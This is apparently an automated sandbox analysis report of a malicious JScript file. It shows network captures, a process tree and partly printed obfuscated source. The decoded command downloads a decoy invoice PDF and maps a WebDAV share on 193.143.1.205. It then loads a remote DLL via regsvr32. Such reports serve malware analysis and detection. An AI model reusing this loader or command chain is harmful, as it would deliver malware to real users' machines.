Jan 11, 2025 08:29:59.214446068 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:29:59.214462042 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 08:29:59.214481115 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 08:29:59.214493990 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:29:59.214601994 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:29:59.214618921 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:29:59.214728117 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 08:29:59.214745045 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 08:29:59.219506979 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5296	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:30:01.109426975 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:30:01.898952961 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:30:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:29:53
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js"
Imagebase:	0x7ff7112e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:29:54
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll
Imagebase:	0x7ff697f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:29:54
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:29:54
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:29:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:29:59
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff697f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:29:59
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff793730000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:30:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:30:00
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:30:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1772,i,16039913801129241558,307286947381656726,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function giuhkxp() {	giuhkxp() ➔ undefined
1	mbuvqc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gsavqzmp = this[jnynf + ssmiu + gvndvagt + dzdkx + qxiln + iczqsddsh + pvyco + zknxtfbsu] ( this[hydyvlutp + hiljqflq + aknujbkg + gvndvagt + dlehqe + jnynf + zknxtfbsu][xusgzwcd + gvndvagt + qxiln + ssmiu + zknxtfbsu + qxiln + zfhnapicf + mscvpihum + kqokjtygs + qxiln + aknujbkg + zknxtfbsu] ( hydyvlutp + hiljqflq + aknujbkg + gvndvagt + dlehqe + jnynf + zknxtfbsu + sztpcml + hiljqflq + peciyee + qxiln + juhwe + juhwe ) [lgfgxb + qxiln + qpnepmvk + lgfgxb + qxiln + ssmiu + rboahfwv] ( ignxpsou + cpqrid + rqpmclpg + jxgrs + gdjqt + xusgzwcd + kywkouto + lgfgxb + lgfgxb + rqpmclpg + qtvcp + rbfqz + gdjqt + kywkouto + hiljqflq + rqpmclpg + lgfgxb + adiyjroc + xusgzwcd + hhwlwkr + pvyco + zknxtfbsu + gvndvagt + hhwlwkr + juhwe + kzemx + exkwrtfcr + ssmiu + pvyco + qxiln + juhwe + adiyjroc + iczqsddsh + pvyco + zknxtfbsu + qxiln + gvndvagt + pvyco + ssmiu + zknxtfbsu + dlehqe + hhwlwkr + pvyco + ssmiu + juhwe + adiyjroc + nkwnmzhix + hhwlwkr + aknujbkg + ssmiu + juhwe + qxiln ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( epjkwz = 0 ; epjkwz < mbuvqc[juhwe + qxiln + pvyco + qpnepmvk + zknxtfbsu + peciyee] ; ++ epjkwz )
4	{
5	if ( gsavqzmp == mbuvqc[epjkwz] )
6	{
7	gsavqzmp = true;
8	break ;
9	}
10	}
11	if ( gsavqzmp !== true )
12	this[hydyvlutp + hiljqflq + aknujbkg + gvndvagt + dlehqe + jnynf + zknxtfbsu][buakitzbn + gsabmna + dlehqe + zknxtfbsu] ( );
13	this[hydyvlutp + hiljqflq + aknujbkg + gvndvagt + dlehqe + jnynf + zknxtfbsu][xusgzwcd + gvndvagt + qxiln + ssmiu + zknxtfbsu + qxiln + zfhnapicf + mscvpihum + kqokjtygs + qxiln + aknujbkg + zknxtfbsu] ( hydyvlutp + hiljqflq + aknujbkg + gvndvagt + dlehqe + jnynf + zknxtfbsu + sztpcml + hiljqflq + peciyee + qxiln + juhwe + juhwe ) [gvndvagt + gsabmna + pvyco] ( aknujbkg + nndao + rboahfwv + kzemx + wpovfxbnd + aknujbkg + kzemx + jnynf + hhwlwkr + viwiqxx + qxiln + gvndvagt + dzdkx + peciyee + qxiln + juhwe + juhwe + sztpcml + qxiln + ilcmxkpk + qxiln + kzemx + vnoxnb + xusgzwcd + hhwlwkr + nndao + nndao + ssmiu + pvyco + rboahfwv + kzemx + viedc + iczqsddsh + pvyco + tkgnjj + hhwlwkr + nidfjsms + qxiln + vnoxnb + hydyvlutp + qxiln + mscvpihum + lgfgxb + qxiln + usaynq + gsabmna + qxiln + dzdkx + zknxtfbsu + kzemx + vnoxnb + zfhnapicf + gsabmna + zknxtfbsu + spjwzr + dlehqe + juhwe + qxiln + kzemx + tvylecwes + zknxtfbsu + qxiln + nndao + jnynf + tvylecwes + adiyjroc + dlehqe + pvyco + tkgnjj + hhwlwkr + dlehqe + aknujbkg + qxiln + sztpcml + jnynf + rboahfwv + fruurgz + kzemx + peciyee + zknxtfbsu + zknxtfbsu + jnynf + dtfjme + wpovfxbnd + wpovfxbnd + duvquw + nnbmx + guhex + sztpcml + duvquw + byntis + guhex + sztpcml + duvquw + sztpcml + wrkgq + uimocnct + xoensjrjq + wpovfxbnd + dlehqe + pvyco + tkgnjj + hhwlwkr + dlehqe + aknujbkg + qxiln + sztpcml + jnynf + peciyee + jnynf + viedc + irecdve + irecdve + dzdkx + zknxtfbsu + ssmiu + gvndvagt + zknxtfbsu + kzemx + tvylecwes + zknxtfbsu + qxiln + nndao + jnynf + tvylecwes + adiyjroc + dlehqe + pvyco + tkgnjj + hhwlwkr + dlehqe + aknujbkg + qxiln + sztpcml + jnynf + rboahfwv + fruurgz + irecdve + irecdve + aknujbkg + nndao + rboahfwv + kzemx + wpovfxbnd + aknujbkg + kzemx + pvyco + qxiln + zknxtfbsu + kzemx + gsabmna + dzdkx + qxiln + kzemx + adiyjroc + adiyjroc + duvquw + nnbmx + guhex + sztpcml + duvquw + byntis + guhex + sztpcml + duvquw + sztpcml + wrkgq + uimocnct + xoensjrjq + lkkumhn + betqt + betqt + betqt + betqt + adiyjroc + rboahfwv + ssmiu + tkgnjj + viwiqxx + viwiqxx + viwiqxx + gvndvagt + hhwlwkr + hhwlwkr + zknxtfbsu + adiyjroc + irecdve + irecdve + aknujbkg + nndao + rboahfwv + kzemx + wpovfxbnd + aknujbkg + kzemx + gvndvagt + qxiln + qpnepmvk + dzdkx + tkgnjj + gvndvagt + guhex + wrkgq + kzemx + wpovfxbnd + dzdkx + kzemx + adiyjroc + adiyjroc + duvquw + nnbmx + guhex + sztpcml + duvquw + byntis + guhex + sztpcml + duvquw + sztpcml + wrkgq + uimocnct + xoensjrjq + lkkumhn + betqt + betqt + betqt + betqt + adiyjroc + rboahfwv + ssmiu + tkgnjj + viwiqxx + viwiqxx + viwiqxx + gvndvagt + hhwlwkr + hhwlwkr + zknxtfbsu + adiyjroc + wrkgq + duvquw + rsvhi + nnbmx + guhex + guhex + wrkgq + xoensjrjq + rsvhi + guhex + duvquw + nnbmx + xoensjrjq + duvquw + nnbmx + sztpcml + rboahfwv + juhwe + juhwe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll",0,false) ➔ 0
14	}
15	kqokjtygs = "D";
16	kqokjtygs = "i";
17	kqokjtygs = "K";
18	kqokjtygs = "M";
19	kqokjtygs = "B";
20	kqokjtygs = "j";
21	ignxpsou = "A";
22	ignxpsou = "w";
23	ignxpsou = "j";
24	ignxpsou = "K";
25	ignxpsou = "f";
26	ignxpsou = "L";
27	ignxpsou = "m";
28	ignxpsou = "Q";
29	ignxpsou = "O";
30	ignxpsou = "P";
31	ignxpsou = "W";
32	ignxpsou = "J";
33	ignxpsou = "v";
34	ignxpsou = "k";
35	ignxpsou = "Y";
36	ignxpsou = "A";
37	ignxpsou = "X";
38	ignxpsou = "J";
39	ignxpsou = "Y";
40	ignxpsou = "d";
41	ignxpsou = "w";
42	ignxpsou = "e";
43	ignxpsou = "h";
44	ignxpsou = "Q";
45	ignxpsou = "v";
46	ignxpsou = "y";
47	ignxpsou = "h";
48	ignxpsou = "x";
49	ignxpsou = "j";
50	ignxpsou = "b";
51	ignxpsou = "h";
52	ignxpsou = "p";
53	ignxpsou = "e";
54	ignxpsou = "A";
55	ignxpsou = "r";
56	ignxpsou = "I";
57	ignxpsou = "O";
58	ignxpsou = "W";
59	ignxpsou = "n";
60	ignxpsou = "V";
61	ignxpsou = "H";
62	wpovfxbnd = "V";
63	wpovfxbnd = "f";
64	wpovfxbnd = "Q";
65	wpovfxbnd = "f";
66	wpovfxbnd = "A";
67	wpovfxbnd = "i";
68	wpovfxbnd = "e";
69	wpovfxbnd = "a";
70	wpovfxbnd = "z";
71	wpovfxbnd = "M";
72	wpovfxbnd = "M";
73	wpovfxbnd = "l";
74	wpovfxbnd = "j";
75	wpovfxbnd = "T";
76	wpovfxbnd = "A";
77	wpovfxbnd = "k";
78	wpovfxbnd = "b";
79	wpovfxbnd = "C";
80	wpovfxbnd = "U";
81	wpovfxbnd = "v";
82	wpovfxbnd = "W";
83	wpovfxbnd = "W";
84	wpovfxbnd = "/";
85	wrkgq = "X";
86	wrkgq = "m";
87	wrkgq = "n";
88	wrkgq = "l";
89	wrkgq = "g";
90	wrkgq = "V";
91	wrkgq = "X";
92	wrkgq = "o";
93	wrkgq = "A";
94	wrkgq = "B";
95	wrkgq = "q";
96	wrkgq = "u";
97	wrkgq = "Z";
98	wrkgq = "g";
99	wrkgq = "s";
100	wrkgq = "N";
101	wrkgq = "Q";
102	wrkgq = "2";
103	qpnepmvk = "g";
104	qpnepmvk = "A";
105	qpnepmvk = "q";
106	qpnepmvk = "S";
107	qpnepmvk = "m";
108	qpnepmvk = "w";
109	qpnepmvk = "U";
110	qpnepmvk = "I";
111	qpnepmvk = "o";
112	qpnepmvk = "h";
113	qpnepmvk = "q";
114	qpnepmvk = "f";
115	qpnepmvk = "s";
116	qpnepmvk = "c";
117	qpnepmvk = "W";
118	qpnepmvk = "W";
119	qpnepmvk = "Q";
120	qpnepmvk = "G";
121	qpnepmvk = "P";
122	qpnepmvk = "h";
123	qpnepmvk = "c";
124	qpnepmvk = "y";
125	qpnepmvk = "O";
126	qpnepmvk = "M";
127	qpnepmvk = "a";
128	qpnepmvk = "K";
129	qpnepmvk = "p";
130	qpnepmvk = "b";
131	qpnepmvk = "u";
132	qpnepmvk = "Y";
133	qpnepmvk = "k";
134	qpnepmvk = "C";
135	qpnepmvk = "o";
136	qpnepmvk = "t";
137	qpnepmvk = "j";
138	qpnepmvk = "G";
139	qpnepmvk = "g";
140	nndao = "B";
141	nndao = "f";
142	nndao = "y";
143	nndao = "d";
144	nndao = "G";
145	nndao = "c";
146	nndao = "h";
147	nndao = "D";
148	nndao = "Q";
149	nndao = "y";
150	nndao = "i";
151	nndao = "c";
152	nndao = "K";
153	nndao = "z";
154	nndao = "H";
155	nndao = "E";
156	nndao = "F";
157	nndao = "w";
158	nndao = "r";
159	nndao = "P";
160	nndao = "h";
161	nndao = "s";
162	nndao = "G";
163	nndao = "Z";
164	nndao = "v";
165	nndao = "u";
166	nndao = "s";
167	nndao = "S";
168	nndao = "m";
169	iczqsddsh = "h";
170	iczqsddsh = "n";
171	iczqsddsh = "T";
172	iczqsddsh = "d";
173	iczqsddsh = "P";
174	iczqsddsh = "K";
175	iczqsddsh = "G";
176	iczqsddsh = "K";
177	iczqsddsh = "o";
178	iczqsddsh = "a";
179	iczqsddsh = "b";
180	iczqsddsh = "i";
181	iczqsddsh = "A";
182	iczqsddsh = "t";
183	iczqsddsh = "x";
184	iczqsddsh = "N";
185	iczqsddsh = "d";
186	iczqsddsh = "r";
187	iczqsddsh = "g";
188	iczqsddsh = "I";
189	lgfgxb = "F";
190	lgfgxb = "o";
191	lgfgxb = "j";
192	lgfgxb = "c";
193	lgfgxb = "M";
194	lgfgxb = "a";
195	lgfgxb = "l";
196	lgfgxb = "M";
197	lgfgxb = "f";
198	lgfgxb = "N";
199	lgfgxb = "m";
200	lgfgxb = "O";
201	lgfgxb = "Y";
202	lgfgxb = "S";
203	lgfgxb = "s";
204	lgfgxb = "M";
205	lgfgxb = "Q";
206	lgfgxb = "A";
207	lgfgxb = "E";
208	lgfgxb = "Y";
209	lgfgxb = "T";
210	lgfgxb = "C";
211	lgfgxb = "W";
212	lgfgxb = "j";
213	lgfgxb = "B";
214	lgfgxb = "S";
215	lgfgxb = "c";
216	lgfgxb = "K";
217	lgfgxb = "n";
218	lgfgxb = "u";
219	lgfgxb = "X";
220	lgfgxb = "z";
221	lgfgxb = "L";
222	lgfgxb = "T";
223	lgfgxb = "t";
224	lgfgxb = "d";
225	lgfgxb = "B";
226	lgfgxb = "R";
227	rsvhi = "C";
228	rsvhi = "d";
229	rsvhi = "k";
230	rsvhi = "7";
231	uimocnct = "O";
232	uimocnct = "m";
233	uimocnct = "n";
234	uimocnct = "s";
235	uimocnct = "v";
236	uimocnct = "x";
237	uimocnct = "F";
238	uimocnct = "A";
239	uimocnct = "J";
240	uimocnct = "b";
241	uimocnct = "F";
242	uimocnct = "m";
243	uimocnct = "Z";
244	uimocnct = "i";
245	uimocnct = "g";
246	uimocnct = "E";
247	uimocnct = "G";
248	uimocnct = "l";
249	uimocnct = "K";
250	uimocnct = "f";
251	uimocnct = "H";
252	uimocnct = "v";
253	uimocnct = "Z";
254	uimocnct = "X";
255	uimocnct = "g";
256	uimocnct = "m";
257	uimocnct = "e";
258	uimocnct = "v";
259	uimocnct = "k";
260	uimocnct = "l";
261	uimocnct = "t";
262	uimocnct = "u";
263	uimocnct = "o";
264	uimocnct = "K";
265	uimocnct = "y";
266	uimocnct = "v";
267	uimocnct = "0";
268	viedc = "C";
269	viedc = "S";
270	viedc = "V";
271	viedc = "R";
272	viedc = "v";
273	viedc = "U";
274	viedc = "t";
275	viedc = "H";
276	viedc = "r";
277	viedc = "a";
278	viedc = "N";
279	viedc = "L";
280	viedc = "g";
281	viedc = "i";
282	viedc = "X";
283	viedc = "R";
284	viedc = "L";
285	viedc = "Y";
286	viedc = "u";
287	viedc = "P";
288	viedc = "w";
289	viedc = "l";
290	viedc = "h";
291	viedc = "V";
292	viedc = "V";
293	viedc = "P";
294	viedc = "y";
295	viedc = "W";
296	viedc = "O";
297	viedc = "f";
298	viedc = "\"";
299	nidfjsms = "x";
300	nidfjsms = "E";
301	nidfjsms = "W";
302	nidfjsms = "x";
303	nidfjsms = "W";
304	nidfjsms = "G";
305	nidfjsms = "k";
306	nidfjsms = "c";
307	nidfjsms = "T";
308	nidfjsms = "Q";
309	nidfjsms = "m";
310	nidfjsms = "m";
311	nidfjsms = "a";
312	nidfjsms = "a";
313	nidfjsms = "s";
314	nidfjsms = "X";
315	nidfjsms = "l";
316	nidfjsms = "P";
317	nidfjsms = "k";
318	gvndvagt = "g";
319	gvndvagt = "J";
320	gvndvagt = "V";
321	gvndvagt = "b";
322	gvndvagt = "X";
323	gvndvagt = "O";
324	gvndvagt = "q";
325	gvndvagt = "y";
326	gvndvagt = "o";
327	gvndvagt = "l";
328	gvndvagt = "T";
329	gvndvagt = "R";
330	gvndvagt = "D";
331	gvndvagt = "k";
332	gvndvagt = "u";
333	gvndvagt = "r";
334	gvndvagt = "y";
335	gvndvagt = "Y";
336	gvndvagt = "u";
337	gvndvagt = "L";
338	gvndvagt = "K";
339	gvndvagt = "W";
340	gvndvagt = "n";
341	gvndvagt = "d";
342	gvndvagt = "h";
343	gvndvagt = "W";
344	gvndvagt = "A";
345	gvndvagt = "N";
346	gvndvagt = "G";
347	gvndvagt = "M";
348	gvndvagt = "O";
349	gvndvagt = "c";
350	gvndvagt = "r";
351	viwiqxx = "B";
352	viwiqxx = "t";
353	viwiqxx = "X";
354	viwiqxx = "O";
355	viwiqxx = "G";
356	viwiqxx = "c";
357	viwiqxx = "G";
358	viwiqxx = "X";
359	viwiqxx = "S";
360	viwiqxx = "k";
361	viwiqxx = "w";
362	ilcmxkpk = "d";
363	ilcmxkpk = "N";
364	ilcmxkpk = "y";
365	ilcmxkpk = "g";
366	ilcmxkpk = "N";
367	ilcmxkpk = "M";
368	ilcmxkpk = "Y";
369	ilcmxkpk = "Q";
370	ilcmxkpk = "R";
371	ilcmxkpk = "f";
372	ilcmxkpk = "N";
373	ilcmxkpk = "O";
374	ilcmxkpk = "T";
375	ilcmxkpk = "B";
376	ilcmxkpk = "Z";
377	ilcmxkpk = "t";
378	ilcmxkpk = "r";
379	ilcmxkpk = "Q";
380	ilcmxkpk = "x";
381	mscvpihum = "z";
382	mscvpihum = "L";
383	mscvpihum = "R";
384	mscvpihum = "c";
385	mscvpihum = "a";
386	mscvpihum = "P";
387	mscvpihum = "W";
388	mscvpihum = "e";
389	mscvpihum = "K";
390	mscvpihum = "X";
391	mscvpihum = "g";
392	mscvpihum = "z";
393	mscvpihum = "S";
394	mscvpihum = "f";
395	mscvpihum = "f";
396	mscvpihum = "R";
397	mscvpihum = "l";
398	mscvpihum = "W";
399	mscvpihum = "w";
400	mscvpihum = "I";
401	mscvpihum = "B";
402	mscvpihum = "o";
403	mscvpihum = "N";
404	mscvpihum = "b";
405	zfhnapicf = "P";
406	zfhnapicf = "o";
407	zfhnapicf = "C";
408	zfhnapicf = "B";
409	zfhnapicf = "G";
410	zfhnapicf = "n";
411	zfhnapicf = "v";
412	zfhnapicf = "B";
413	zfhnapicf = "n";
414	zfhnapicf = "p";
415	zfhnapicf = "R";
416	zfhnapicf = "f";
417	zfhnapicf = "P";
418	zfhnapicf = "C";
419	zfhnapicf = "C";
420	zfhnapicf = "b";
421	zfhnapicf = "D";
422	zfhnapicf = "I";
423	zfhnapicf = "v";
424	zfhnapicf = "b";
425	zfhnapicf = "s";
426	zfhnapicf = "z";
427	zfhnapicf = "o";
428	zfhnapicf = "h";
429	zfhnapicf = "F";
430	zfhnapicf = "t";
431	zfhnapicf = "E";
432	zfhnapicf = "T";
433	zfhnapicf = "P";
434	zfhnapicf = "L";
435	zfhnapicf = "x";
436	zfhnapicf = "J";
437	zfhnapicf = "f";
438	zfhnapicf = "t";
439	zfhnapicf = "q";
440	zfhnapicf = "A";
441	zfhnapicf = "J";
442	zfhnapicf = "t";
443	zfhnapicf = "N";
444	zfhnapicf = "x";
445	zfhnapicf = "O";
446	zfhnapicf = "d";
447	zfhnapicf = "t";
448	zfhnapicf = "g";
449	zfhnapicf = "O";
450	rboahfwv = "d";
451	rboahfwv = "Y";
